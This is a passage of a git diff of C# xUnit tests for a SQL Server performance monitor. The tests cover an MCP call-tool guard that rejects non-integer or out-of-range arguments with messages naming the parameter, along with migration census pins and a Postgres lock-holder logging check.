+        Assert.NotNull(message);
+        Assert.Contains("takes a whole number, and the call sent", message, StringComparison.Ordinal);
+        Assert.Contains($"which is {direction}.", message, StringComparison.Ordinal);
+        AssertStatesNoRange(message);
+    }
+
+    /// <summary>
+    /// A refusal for a whole number past an <see cref="int"/> says the value is too large or too small, and states no
+    /// range. The range of the CLR type is not the range the tool takes (<c>hours_back</c> is an int, and
+    /// <c>McpHelpers.ValidateHoursBack</c> refuses anything outside 1-168), so quoting it gave the caller two ranges that
+    /// disagree, and invited a retry the tool's own validator refuses.
+    /// </summary>
+    private static void AssertStatesNoRange(string message)
+    {
+        Assert.DoesNotContain("2147483647", message, StringComparison.Ordinal);
+        Assert.DoesNotContain("-2147483648", message, StringComparison.Ordinal);
+        Assert.DoesNotContain(" from ", message, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The same signs and zeros on a value the binder reads (5) are not refused at all, so the bounded digit run does
+    /// not turn a padded small number into one that is too large.
+    /// </summary>
+    [Theory]
+    [InlineData("+", 0)]
+    [InlineData("", 30)]
+    [InlineData("+", 30)]
+    public void ASignAndLeadingZeros_OnAWholeNumberThatFits_AreNotRefused(string sign, int zeros) =>
+        Assert.Null(ProbeRefusal("count", "\"" + sign + new string('0', zeros) + "5\""));
+
+    /// <summary>
+    /// A zero written with a plus sign and a long run of zeros is not out of range, so it is never worded as too large or
+    /// too small: the 20 digits the widest integer type holds are counted after the leading zeros, not with them. A minus
+    /// sign is the one exception, and only because an unsigned type reads no sign at all (the guard has a verdict to give
+    /// here): the sign alone makes it too small, as it does for "-0" (#4956), and it is never too large.
+    /// </summary>
+    [Theory]
+    [InlineData("+", false)]
+    [InlineData("-", true)]
+    public void ASignedRunOfZeros_IsWordedAsTooSmallOnlyWhenItCarriesAMinus(string sign, bool tooSmall)
+    {
+        var message = ProbeRefusal("huge", "\"" + sign + new string('0', 30) + "\"");
+
+        Assert.True(
+            message is null || !message.Contains("which is too large", StringComparison.Ordinal),
+            "A zero is never too large, but the refusal says: " + message);
+        Assert.True(
+            tooSmall ? message?.Contains("which is too small.", StringComparison.Ordinal) == true
+                : message is null || !message.Contains("which is too", StringComparison.Ordinal),
+            (tooSmall ? "A minus sign on an unsigned type is too small, but the refusal says: " : "A zero is within every range, but the refusal says: ")
+            + message);
+    }
+
+    /// <summary>
+    /// The refusal message for one JSON value sent for one parameter of <see cref="ColorCountProbeTool"/>, registered
+    /// the way the host records its tools, or null when the guard lets the call through.
+    /// </summary>
+    private static string? ProbeRefusal(string parameter, string rawJson)
+    {
+        var method = typeof(ColorCountProbeTool).GetMethod(nameof(ColorCountProbeTool.Pick))!;
+        var tool = McpServerTool.Create(method, target: null, options: new McpServerToolCreateOptions());
+        var name = tool.ProtocolTool.Name;
+        var types = new McpToolParameterTypes();
+        types.Register(name, method, include: null);
+
+        using var document = JsonDocument.Parse(rawJson);
+        var arguments = new Dictionary<string, JsonElement>(StringComparer.Ordinal)
+        {
+            [parameter] = document.RootElement.Clone(),
+        };
+
+        if (McpUnknownArgumentGuard.Refuse(Call(name, arguments), tool, types) is not { } refused)
+        {
+            return null;
+        }
+
+        using var refusal = JsonDocument.Parse(TextOf(refused));
+        return refusal.RootElement.GetProperty("message").GetString();
+    }
+
     /// <summary>
     /// The registrations named in the host source — the same derivation
     /// <see cref="McpToolTypeRegistrationTests"/> uses, so this census covers the tools that actually ship
     /// rather than every class in the assembly.
     /// </summary>
-    private static HashSet<string> RegisteredToolTypeNames()
+    internal static HashSet<string> RegisteredToolTypeNames()
     {
         var source = File.ReadAllText(HostSourcePath());
 
@@ -376,3 +639,43 @@ private static string HostSourcePath()
             "Could not locate DarlingMcpHostService.cs by walking up from the test output directory.");
     }
 }
+
+/// <summary>A parameter type whose converter throws an <see cref="ArgumentException"/> when it reads a value, as a
+/// converter written without the serializer's own exceptions in mind can.</summary>
+[JsonConverter(typeof(ConverterThatThrowsOnRead))]
+internal sealed class ValueWithThrowingConverter
+{
+}
+
+internal sealed class ConverterThatThrowsOnRead : JsonConverter<ValueWithThrowingConverter>
+{
+    public override ValueWithThrowingConverter Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) =>
+        throw new ArgumentException("This converter reads nothing.");
+
+    public override void Write(Utf8JsonWriter writer, ValueWithThrowingConverter value, JsonSerializerOptions options) =>
+        throw new NotSupportedException();
+}
+
+/// <summary>The one method the guard test above registers by hand: a parameter whose converter throws, and a whole
+/// number the guard can judge, so a refusal for the second proves the guard reached the first.</summary>
+internal static class ConverterThrowsProbeTool
+{
+    public static string Take(ValueWithThrowingConverter? value = null, int count = 0) => "ok";
+}
+
+/// <summary>An enum for the tests above: its members are what a refusal for an enum parameter names.</summary>
+internal enum ProbeColor
+{
+    Crimson,
+    Teal,
+    Amber,
+}
+
+/// <summary>The one method the enum and digit-run tests register by hand: an enum, a list of that enum, an
+/// <see cref="int"/> and a <see cref="ulong"/>. Like <see cref="ConverterThrowsProbeTool"/> it carries no tool
+/// attribute, so no census over the shipped tool types sees it.</summary>
+internal static class ColorCountProbeTool
+{
+    public static string Pick(
+        ProbeColor color = ProbeColor.Teal, ProbeColor[]? colors = null, int count = 0, ulong huge = 0) => "ok";
+}
diff --git a/Darling/Darling.Tests/McpWholeNumberArgumentTests.cs b/Darling/Darling.Tests/McpWholeNumberArgumentTests.cs
new file mode 100644
index 0000000000..ea191ea537
--- /dev/null
+++ b/Darling/Darling.Tests/McpWholeNumberArgumentTests.cs
@@ -0,0 +1,286 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Reflection;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
+using ModelContextProtocol.Protocol;
+using ModelContextProtocol.Server;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A value an integer parameter cannot take, such as <c>hours_back: 0.5</c>, is refused with a message that names
+/// the parameter, instead of failing inside the SDK's argument binding as "An error occurred invoking ...".
+///
+/// <para>The binder reads an integer parameter only from an integer literal or a string holding one. Anything else
+/// (<c>0.5</c>, <c>1.0</c>, <c>1e1</c>, <c>"0.5"</c>, <c>true</c>) threw a <c>JsonException</c> before the tool
+/// body ran, and the SDK answered every one of them with the same generic error. The shared call-tool guard now
+/// checks each integer parameter's value before dispatch, as it already checks the argument names.</para>
+/// </summary>
+public sealed class McpWholeNumberArgumentTests
+{
+    internal static List<Type> RegisteredToolTypes()
+    {
+        var registered = McpUnknownArgumentGuardTests.RegisteredToolTypeNames();
+
+        return typeof(DarlingMcpHostService).Assembly
+            .GetTypes()
+            .Where(t => registered.Contains(t.Name))
+            .OrderBy(t => t.FullName, StringComparer.Ordinal)
+            .ToList();
+    }
+
+    /// <summary>Inert stand-ins for the two service types that cannot be left uninitialized. The data source points
+    /// at a closed local port. This class's calls are all refused before the tool body, so it is never opened here.
+    /// Two other places share this host and DO reach a tool body. In <see cref="McpUnknownArgumentGuardTests"/> one
+    /// test does: <c>WithoutTheGuard_TheBinderDropsAKeyDifferingOnlyByCase</c>, through its <c>HOURS_BACK</c> call (the
+    /// binder drops that key, so <c>get_wait_stats</c> runs at its default window); the other test there that starts this
+    /// host is refused before the binder. And <see cref="McpArgumentTypeTests"/> runs a real tool body for every row the
+    /// binder reads, on its guard-less host, and on its guarded host too, which passes those rows on. The one-second
+    /// connect timeout on the closed port is what keeps those fast.</summary>
+    private static object? InertInstanceFor(Type serviceType) =>
+        serviceType == typeof(NpgsqlDataSource) ? NpgsqlDataSource.Create("Host=127.0.0.1;Port=1;Username=none;Database=none;Timeout=1")
+        : serviceType == typeof(ILogger) ? NullLogger.Instance
+        : null;
+
+    /// <param name="installGuard">False to leave the call-tool guard out, so a call meets the SDK's binder alone.</param>
+    /// <param name="extraToolTypes">Test-only tool classes to register beside the shipped ones, through the same
+    /// <c>McpSchemaCompat</c> path.</param>
+    internal static Task<McpInProcessHost> StartHostAsync(bool installGuard = true, params Type[] extraToolTypes) =>
+        McpInProcessHost.StartAsync(
+            RegisteredToolTypes().Concat(extraToolTypes).ToList(), McpUnknownArgumentGuardTests.IsServiceParameter,
+            InertInstanceFor, installGuard, TestContext.Current.CancellationToken);
+
+    private static JsonElement Json(string raw) => JsonDocument.Parse(raw).RootElement.Clone();
+
+    /// <summary>The tool names whose method declares a parameter named <paramref name="parameter"/>.</summary>
+    private static SortedSet<string> ToolsDeclaring(string parameter) =>
+        new(RegisteredToolTypes()
+            .SelectMany(t => t.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static))
+            .Select(m => (Method: m, Attribute: m.GetCustomAttribute<McpServerToolAttribute>()))
+            .Where(x => x.Attribute is not null && x.Method.GetParameters().Any(p => p.Name == parameter))
+            .Select(x => x.Attribute!.Name ?? x.Method.Name),
+            StringComparer.Ordinal);
+
+    /// <summary>
+    /// Every tool that takes <c>hours_back</c>, called through a real in-process server with <c>hours_back: 0.5</c>,
+    /// answers with the refusal that names <c>hours_back</c>. The list comes from the tools the host registers, so a
+    /// tool added later is called too, and a tool that does not answer this way fails here by name.
+    /// </summary>
+    [Fact]
+    public async Task EveryToolThatTakesHoursBack_RefusesHalfAnHour_WithAMessageNamingIt()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var host = await StartHostAsync();
+
+        var tools = await host.Client.ListToolsAsync(cancellationToken: ct);
+        var advertised = new SortedSet<string>(StringComparer.Ordinal);
+        var failures = new List<string>();
+
+        foreach (var tool in tools)
+        {
+            if (!tool.JsonSchema.TryGetProperty("properties", out var properties)
+                || !properties.TryGetProperty("hours_back", out var hoursBack))
+            {
+                continue;
+            }
+
+            advertised.Add(tool.Name);
+
+            if (!hoursBack.TryGetProperty("type", out var type) || type.ValueKind != JsonValueKind.String || type.GetString() != "integer")
+            {
+                failures.Add($"{tool.Name}: hours_back is advertised as {hoursBack.GetRawText()}, not as an integer");
+                continue;
+            }
+
+            var result = await host.Client.CallToolAsync(
+                tool.Name, new Dictionary<string, object?> { ["hours_back"] = Json("0.5") }, cancellationToken: ct);
+
+            var failure = McpInProcessHost.WholeNumberRefusalProblem(tool.Name, "hours_back", "whole number of hours", result);
+            if (failure is not null)
+            {
+                failures.Add(failure);
+            }
+        }
+
+        Assert.NotEmpty(advertised);
+
+        /* The tools that declare hours_back in code are exactly the tools that advertise it, so none slips past
+           the loop above by leaving it out of its schema. */
+        var declared = ToolsDeclaring("hours_back");
+        foreach (var missing in declared.Except(advertised))
+        {
+            failures.Add($"{missing}: declares hours_back but does not advertise it");
+        }
+
+        Assert.True(
+            failures.Count == 0,
+            $"{failures.Count} of {advertised.Count} tools that take hours_back do not refuse 0.5 by name:\n"
+            + string.Join("\n", failures));
+    }
+
+    /// <summary>
+    /// The same treatment for an integer parameter other than <c>hours_back</c>, through the same real call path:
+    /// <c>get_wait_stats</c> with <c>limit: 2.5</c>.
+    /// </summary>
+    [Fact]
+    public async Task AnotherIntegerParameter_RefusesAFraction_WithAMessageNamingIt()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var host = await StartHostAsync();
+
+        var result = await host.Client.CallToolAsync(
+            "get_wait_stats", new Dictionary<string, object?> { ["limit"] = Json("2.5") }, cancellationToken: ct);
+
+        Assert.Null(McpInProcessHost.WholeNumberRefusalProblem("get_wait_stats", "limit", "whole number", result));
+    }
+
+    /// <summary>
+    /// A whole number past <see cref="int"/> sent for <c>hours_back</c>, through a real in-process server with the
+    /// declared parameter types recorded, is refused as too large, and the refusal states no range. The CLR type's range
+    /// is not the range the tool takes: <c>hours_back</c> is an int, but <c>McpHelpers.ValidateHoursBack</c> refuses
+    /// anything outside 1-168. A refusal that quoted "from -2147483648 to 2147483647" gave the caller two ranges that
+    /// disagree, and invited a retry the tool's own validator refuses.
+    /// </summary>
+    [Fact]
+    public async Task HoursBackPastInt_IsRefusedAsTooLarge_AndStatesNoRange()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var host = await StartHostAsync();
+
+        var result = await host.Client.CallToolAsync(
+            "get_wait_stats", new Dictionary<string, object?> { ["hours_back"] = Json("99999999999") }, cancellationToken: ct);
+
+        var problem = McpInProcessHost.WholeNumberRefusalProblem("get_wait_stats", "hours_back", "whole number of hours", result);
+        Assert.True(problem is null, problem);
+        var message = McpInProcessHost.RefusalMessage(result)!;
+        Assert.Contains("which is too large", message, StringComparison.Ordinal);
+        Assert.DoesNotContain("2147483647", message, StringComparison.Ordinal);
+        Assert.DoesNotContain("-2147483648", message, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// Every integer parameter of every registered tool refuses 2.5, 1.0, "0.5" and true by name, and passes 1, "1"
+    /// and null. Checked against the guard's decision, so no tool body runs, and with no recorded parameter types:
+    /// this is the schema-only path that a tool the record does not cover falls back to. The binder reads 1 and "1"
+    /// for every integer parameter, but null only for a nullable one, and the schema does not say which are, so this
+    /// path passes null. With the declared types recorded, which is how the host calls the guard, a non-nullable
+    /// parameter refuses null by name; <see cref="McpArgumentTypeTests"/> pins that.
+    /// </summary>
+    [Fact]
+    public async Task EveryIntegerParameter_RefusesWhatTheBinderCannotRead_AndAcceptsWhatItCan()
+    {
+        await using var host = await StartHostAsync();
+        var tools = host.RegisteredTools;
+        var failures = new List<string>();
+        var checkedCount = 0;
+
+        foreach (var tool in tools)
+        {
+            var name = tool.ProtocolTool.Name;
+            if (!tool.ProtocolTool.InputSchema.TryGetProperty("properties", out var properties))
+            {
+                continue;
+            }
+
+            foreach (var property in properties.EnumerateObject())
+            {
+                if (!property.Value.TryGetProperty("type", out var type) || type.ValueKind != JsonValueKind.String || type.GetString() != "integer")
+                {
+                    continue;
+                }
+
+                checkedCount++;
+
+                foreach (var bad in new[] { "2.5", "1.0", "\"0.5\"", "true" })
+                {
+                    var refusal = McpUnknownArgumentGuard.Refuse(Call(name, property.Name, bad), tool);
+                    var problem = refusal is null
+                        ? $"{name}.{property.Name}: accepted {bad}"
+                        : McpInProcessHost.WholeNumberRefusalProblem(name, property.Name, "whole number", refusal);
+
+                    if (problem is not null)
+                    {
+                        failures.Add(problem);
+                    }
+                }
+
+                foreach (var good in new[] { "1", "\"1\"", "null" })
+                {
+                    if (McpUnknownArgumentGuard.Refuse(Call(name, property.Name, good), tool) is { } refused)
+                    {
+                        failures.Add($"{name}.{property.Name}: refused {good}, which the guard must pass -> {McpInProcessHost.TextOf(refused)}");
+                    }
+                }
+            }
+        }
+
+        Assert.True(checkedCount > 0, "Found no integer parameters to check.");
+        Assert.True(
+            failures.Count == 0,
+            $"{failures.Count} problems across {checkedCount} integer parameters:\n" + string.Join("\n", failures.Take(40)));
+    }
+
+    /// <summary>
+    /// A whole number past <see cref="long"/> is refused, since no integer parameter can read it, and the refusal says
+    /// why: too large, or too small. It must not ask for "no decimal point", because the caller sent none.
+    /// </summary>
+    [Theory]
+    [InlineData("99999999999999999999", "too large")]
+    [InlineData("\"99999999999999999999\"", "too large")]
+    [InlineData("-99999999999999999999", "too small")]
+    [InlineData("\"-99999999999999999999\"", "too small")]
+    public async Task AWholeNumberPastLong_IsRefusedAsTooLargeOrTooSmall(string rawValue, string reason)
+    {
+        await using var host = await StartHostAsync();
+        var tool = host.RegisteredTools.Single(registered => registered.ProtocolTool.Name == "get_wait_stats");
+
+        var refusal = McpUnknownArgumentGuard.Refuse(Call("get_wait_stats", "hours_back", rawValue), tool);
+
+        Assert.NotNull(refusal);
+        var problem = McpInProcessHost.WholeNumberRefusalProblem("get_wait_stats", "hours_back", reason, refusal);
+        Assert.True(problem is null, problem);
+        var message = McpInProcessHost.RefusalMessage(refusal)!;
+        Assert.False(message.Contains("no decimal point", StringComparison.Ordinal), message);
+    }
+
+    /// <summary>
+    /// The refusal quotes the value back, cut short at 40 UTF-16 units. Twenty-one emoji in a string are 44 units with
+    /// the quotes, and a cut at 40 splits the twentieth emoji, which System.Text.Json writes as U+FFFD. The cut keeps
+    /// whole characters, so the message shows nineteen emoji, then the truncation suffix, and no U+FFFD.
+    /// </summary>
+    [Fact]
+    public async Task AValueCutShortInTheRefusal_KeepsWholeCharacters()
+    {
+        const string Emoji = "\U0001F600";
+        await using var host = await StartHostAsync();
+        var tool = host.RegisteredTools.Single(registered => registered.ProtocolTool.Name == "get_wait_stats");
+        var sent = "\"" + string.Concat(Enumerable.Repeat(Emoji, 21)) + "\"";
+
+        var refusal = McpUnknownArgumentGuard.Refuse(Call("get_wait_stats", "hours_back", sent), tool);
+
+        Assert.NotNull(refusal);
+        var message = McpInProcessHost.RefusalMessage(refusal)!;
+        Assert.False(message.Contains('�'), message);
+        Assert.Contains(
+            "the call sent \"" + string.Concat(Enumerable.Repeat(Emoji, 19)) + "... (truncated).", message, StringComparison.Ordinal);
+    }
+
+    private static CallToolRequestParams Call(string toolName, string parameter, string rawValue) =>
+        new() { Name = toolName, Arguments = new Dictionary<string, JsonElement> { [parameter] = Json(rawValue) } };
+}
diff --git a/Darling/Darling.Tests/McpZeroIsAMeasurementTests.cs b/Darling/Darling.Tests/McpZeroIsAMeasurementTests.cs
index 7e69f28a26..71a67df2c8 100644
--- a/Darling/Darling.Tests/McpZeroIsAMeasurementTests.cs
+++ b/Darling/Darling.Tests/McpZeroIsAMeasurementTests.cs
@@ -54,6 +54,7 @@ namespace Darling.Tests;
 /// SQL consts are pinned for the new columns, and the pure derivations (growth, PVS reasons) are executed.
 /// <see cref="McpZeroIsAMeasurementLivePostgresTests"/> runs the tools against live Postgres.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class McpZeroIsAMeasurementTests
 {
     private const string DarlingMcp = "Darling/PerformanceMonitor.Darling.Service/Mcp";
@@ -211,15 +212,15 @@ public void TheRegressionTool_SaysWhyAPercentIsNull_AndDoesNotBandAMissingRatio(
 
     private static IEnumerable<(string Name, string Sql)> DifferencedTrendSql()
     {
-        yield return (nameof(DarlingTrendReader.QueryDurationTrendSql), DarlingTrendReader.QueryDurationTrendSql);
-        yield return (nameof(DarlingTrendReader.ProcedureDurationTrendSql), DarlingTrendReader.ProcedureDurationTrendSql);
-        yield return (nameof(DarlingTrendReader.QueryStoreDurationTrendSql), DarlingTrendReader.QueryStoreDurationTrendSql);
+        yield return (nameof(DarlingTrendReader.QueryDurationTrendFilteredSql), DarlingTrendReader.QueryDurationTrendFilteredSql);
+        yield return (nameof(DarlingTrendReader.ProcedureDurationTrendFilteredSql), DarlingTrendReader.ProcedureDurationTrendFilteredSql);
+        yield return (nameof(DarlingTrendReader.QueryStoreDurationTrendFilteredSql), DarlingTrendReader.QueryStoreDurationTrendFilteredSql);
         yield return ("BuildRollupTrendSql(false)", QueryStoreTrendRouting.BuildRollupTrendSql(withDatabaseFilter: false));
         yield return ("BuildRollupTrendSql(true)", QueryStoreTrendRouting.BuildRollupTrendSql(withDatabaseFilter: true));
-        /* #3653 A11: the raw query-stats trend the viewer runs (and the MCP raw const's alias-in-waiting) — its
-           LAG is the pre-V128 fallback arm of the three-state interval, and the rule below still holds. */
-        yield return ("QueryDurationTrendRawSql(false)", DurationTrendRouting.QueryDurationTrendRawSql(withDatabaseFilter: false));
-        yield return ("QueryDurationTrendRawSql(true)", DurationTrendRouting.QueryDurationTrendRawSql(withDatabaseFilter: true));
+        /* #3653 A11: the bucketed raw query-stats trend, with and without the viewer's filter — its LAG is the pre-V128
+           fallback arm of the three-state interval, and the rule below still holds. */
+        yield return ("BuildBucketedRawTrendSql(false)", DurationTrendRouting.BuildBucketedRawTrendSql("query_stats", withDatabaseFilter: false));
+        yield return ("BuildBucketedRawTrendSql(true)", DurationTrendRouting.BuildBucketedRawTrendSql("query_stats", withDatabaseFilter: true));
     }
 
     [Fact]
@@ -453,7 +454,7 @@ public void TheGrowthRead_NeverFoldsAMissingBaselineOntoANearerOne_OnEitherSku()
         Assert.DoesNotContain("growth_7d_mb", darling, StringComparison.Ordinal);
 
         var lite = ReadRepoFile("Lite", "Services", "LocalDataService.FinOps.IndexObjects.cs");
-        var read = lite[lite.IndexOf("GetObjectSizeGrowthAsync(int serverId", StringComparison.Ordinal)..];
+        var read = lite[lite.IndexOf("GetObjectSizeGrowthAsync(", StringComparison.Ordinal)..];
         read = read[..read.IndexOf("return items;", StringComparison.Ordinal)];
         Assert.DoesNotMatch(FoldedBaseline, read);
         Assert.Contains("MAX(collection_time) FILTER (WHERE collection_time <= $2) AS snapshot_7d_time", read, StringComparison.Ordinal);
@@ -572,6 +573,7 @@ private static string Strip(string source) =>
 /// 0 MB beside one not measured at all, and the growth read over three days of history.
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class McpZeroIsAMeasurementLivePostgresTests
 {
     private const string ServerName = "zero-is-a-measurement-e2e";
diff --git a/Darling/Darling.Tests/MeasurementContractCensusTests.cs b/Darling/Darling.Tests/MeasurementContractCensusTests.cs
index b37c732282..0e9757e1fd 100644
--- a/Darling/Darling.Tests/MeasurementContractCensusTests.cs
+++ b/Darling/Darling.Tests/MeasurementContractCensusTests.cs
@@ -1,4 +1,4 @@
-/*
+/*
  * Copyright (c) 2026 Erik Darling, Darling Data LLC
  *
  * This file is part of the SQL Server Performance Monitor.
@@ -75,6 +75,7 @@ namespace Darling.Tests;
 /// runs this suite on a change there.</description></item>
 /// </list>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class MeasurementContractCensusTests
 {
     /// <summary>The two trees the Lite census cannot reach; everything else is swept there.</summary>
@@ -948,14 +949,17 @@ public void EveryContinuousAggregateOverADeltaFamily_ExcludesTheUnknowableRow_Or
         var admitting = governed.Where(a => !a.CarriesIntervalPredicate && EquivalentPredicates.All(e => e.View != a.View)).Select(a => a.View).OrderBy(v => v, StringComparer.Ordinal).ToList();
 
         /* The successors carry it — the whole point of #3698 and of #3653 Q12 — and every one is REGISTERED:
-           the baseline pair in the legacy pair's positions, the hourly trio appended to HourlyAggregates. */
+           the baseline pair in the legacy pair's positions, the hourly trio appended to HourlyAggregates. The
+           two io hourlies (#5329) copy their interval siblings' WHERE and carry it too. */
         Assert.Equal(
             new[]
             {
                 TimescaleSupport.PerfmonIntervalBaselineView,
                 TimescaleSupport.ProcedureStatsIntervalHourlyView,
+                TimescaleSupport.ProcedureStatsIoHourlyView,
                 TimescaleSupport.QueryStatsDbIntervalHourlyView,
                 TimescaleSupport.QueryStatsIntervalHourlyView,
+                TimescaleSupport.QueryStatsIoHourlyView,
                 TimescaleSupport.WaitStatsIntervalBaselineView,
             }.OrderBy(v => v, StringComparer.Ordinal),
             carrying);
diff --git a/Darling/Darling.Tests/MigrationDataMovingRungCensusPins.cs b/Darling/Darling.Tests/MigrationDataMovingRungCensusPins.cs
index b795a4236f..4f98fddbfd 100644
--- a/Darling/Darling.Tests/MigrationDataMovingRungCensusPins.cs
+++ b/Darling/Darling.Tests/MigrationDataMovingRungCensusPins.cs
@@ -218,6 +218,14 @@ public sealed class MigrationDataMovingRungCensusPins
             + "creates the table EMPTY in this same migrate run and builds the index instantly; only a "
             + "nightly-build store already holds rows, and only for the few days since it picked up V145 - "
             + "nowhere near the horizon in practice"),
+        new(
+            169,
+            SetsTheFloor: false,
+            "ADD CONSTRAINT ... CHECK on config.config_monitored_servers (#5452) validates every existing row, and the "
+            + "stored generated aws_external_id_set column is filled for every existing row. Both scans are over the "
+            + "monitored-server registry, one row per configured server (about a hundred rows on the largest known "
+            + "store, and every aws_* value NULL at this rung), so each is instant and neither touches data an earlier "
+            + "rung created beyond that table. It does not move the lock-wait floor."),
     ];
 
     /// <summary>
diff --git a/Darling/Darling.Tests/MigrationLockHolderLogTests.cs b/Darling/Darling.Tests/MigrationLockHolderLogTests.cs
new file mode 100644
index 0000000000..bab16244bb
--- /dev/null
+++ b/Darling/Darling.Tests/MigrationLockHolderLogTests.cs
@@ -0,0 +1,279 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5582 review round 1 (M2): when a rung hits its <c>lock_timeout</c> (SQLSTATE 55P03), the applier rolls the rung back and logs who
+/// holds a blocking lock on a <c>collect</c> table, so an operator can see what keeps the store-migrate loop retrying while collection
+/// waits behind it. The log is throttled to once per ten minutes, and a fault in the diagnostic never replaces the rung's own failure.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class MigrationLockHolderLogTests
+{
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public void TheThrottle_ClaimsOnce_ThenAgainAfterTenMinutes()
+    {
+        /* No try/finally: a failed assertion here leaves a claimed throttle, and the live test below resets it before it reads. */
+        PgMigrations.ResetLockHolderLogThrottleForTests();
+        var t0 = new DateTime(2026, 10, 8, 12, 0, 0, DateTimeKind.Utc);
+        Assert.True(PgMigrations.TryClaimLockHolderLog(t0));
+        Assert.False(PgMigrations.TryClaimLockHolderLog(t0.AddMinutes(1)));
+        Assert.False(PgMigrations.TryClaimLockHolderLog(t0.AddMinutes(9).AddSeconds(59)));
+        Assert.True(PgMigrations.TryClaimLockHolderLog(t0.AddMinutes(10)));
+        Assert.False(PgMigrations.TryClaimLockHolderLog(t0.AddMinutes(10).AddSeconds(1)));
+        Assert.Equal(TimeSpan.FromMinutes(10), PgMigrations.LockHolderLogInterval);
+        PgMigrations.ResetLockHolderLogThrottleForTests();
+    }
+
+    [Fact]
+    public void TheApplier_RollsBackOn55P03_LogsTheHolders_AndRethrows()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "PgMigrations.cs").Replace("\r\n", "\n", StringComparison.Ordinal);
+        var start = source.IndexOf("private static async Task<int> MigrateLockedAsync", StringComparison.Ordinal);
+        var end = source.IndexOf("\n    }\n", start, StringComparison.Ordinal);
+        var applier = source[start..end];
+        var catchAt = applier.IndexOf("catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.LockNotAvailable)", StringComparison.Ordinal);
+        Assert.True(catchAt > 0, "the 55P03 catch around the rung apply is gone");
+        var rollback = applier.IndexOf("await TryRollbackAsync(transaction);", catchAt, StringComparison.Ordinal);
+        var log = applier.IndexOf("await LogLockHoldersAsync(connection, logger,", catchAt, StringComparison.Ordinal);
+        var rethrow = applier.IndexOf("throw;", catchAt, StringComparison.Ordinal);
+        Assert.True(rollback > catchAt && log > rollback && rethrow > log, "roll back, then log the holders, then rethrow");
+        Assert.True(catchAt > applier.IndexOf("new NpgsqlCommand(migration.Sql, connection, transaction)", StringComparison.Ordinal),
+            "the catch belongs to the rung apply, not to the stamp");
+    }
+
+    [Fact]
+    public async Task ASessionHoldingACollectTableLock_IsNamedInTheLog_WithItsFields_AndNoQueryText_AgainstDevPostgres()
+    {
+        var connectionString = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live lock-holder log test.");
+
+        await using var observer = new NpgsqlConnection(connectionString);
+        await observer.OpenAsync(TestContext.Current.CancellationToken);
+        await PgMigrations.MigrateAsync(observer, TestContext.Current.CancellationToken);
+
+        var holderConnectionString = new NpgsqlConnectionStringBuilder(connectionString) { ApplicationName = "lock-holder-5582" }.ConnectionString;
+        await using var holder = new NpgsqlConnection(holderConnectionString);
+        await holder.OpenAsync(TestContext.Current.CancellationToken);
+        var holderPid = holder.ProcessID;
+        var transaction = await holder.BeginTransactionAsync(TestContext.Current.CancellationToken);
+
+        await using var reader = new NpgsqlConnection(holderConnectionString);
+        await reader.OpenAsync(TestContext.Current.CancellationToken);
+        var readerPid = reader.ProcessID;
+        var readerTransaction = await reader.BeginTransactionAsync(TestContext.Current.CancellationToken);
+
+        var bodySucceeded = false;
+        try
+        {
+            const string HolderQuery = "LOCK TABLE collect.darling_schema_version IN SHARE UPDATE EXCLUSIVE MODE /* 5582 holder */";
+            await using (var hold = new NpgsqlCommand(HolderQuery, holder, transaction))
+            {
+                await hold.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+            }
+
+            /* A plain SELECT holds ACCESS SHARE, which blocks the ACCESS EXCLUSIVE lock of most schema changes. */
+            const string ReaderQuery = "SELECT 1 FROM collect.darling_schema_version /* 5582 reader */";
+            await using (var read = new NpgsqlCommand(ReaderQuery, reader, readerTransaction))
+            {
+                await read.ExecuteScalarAsync(TestContext.Current.CancellationToken);
+            }
+
+            PgMigrations.ResetLockHolderLogThrottleForTests();
+            var logger = new CapturingLogger();
+            await PgMigrations.LogLockHoldersAsync(observer, logger, 173, "the rung", "canceling statement due to lock timeout", TestContext.Current.CancellationToken);
+
+            var line = Assert.Single(logger.Lines);
+            Assert.Contains("V173", line, StringComparison.Ordinal);
+            Assert.Contains($"pid {holderPid} (client backend), application lock-holder-5582, state idle in transaction, transaction started ", line, StringComparison.Ordinal);
+            Assert.Contains("waiting on Client: ClientRead", line, StringComparison.Ordinal);
+            Assert.Contains("darling_schema_version (ShareUpdateExclusiveLock)", line, StringComparison.Ordinal);
+            Assert.Contains($"pid {readerPid} ", line, StringComparison.Ordinal);
+            Assert.Contains("darling_schema_version (AccessShareLock)", line, StringComparison.Ordinal);
